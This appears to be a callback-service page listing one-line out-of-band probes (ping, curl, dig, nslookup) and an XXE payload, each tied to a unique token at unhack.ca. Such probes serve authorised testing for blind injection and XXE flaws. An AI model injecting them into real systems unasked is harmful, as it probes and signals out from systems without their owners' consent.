$ ping -c1 -p 002dbc61a6c55fd245b7e6486c6abf00 unhack.ca
 

$ curl http://unhack.ca/p/2dbc61a6c55fd245b7e6486c6abf
 

$ dig 2dbc61a6c55fd245b7e6486c6abf @unhack.ca
 

$ dig 2dbc61a6c55fd245b7e6486c6abf.ns.unhack.ca
 

C:\> nslookup 2dbc61a6c55fd245b7e6486c6abf unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2dbc61a6c55fd245b7e6486c6abf">]>
    <foo>&xxe;</foo>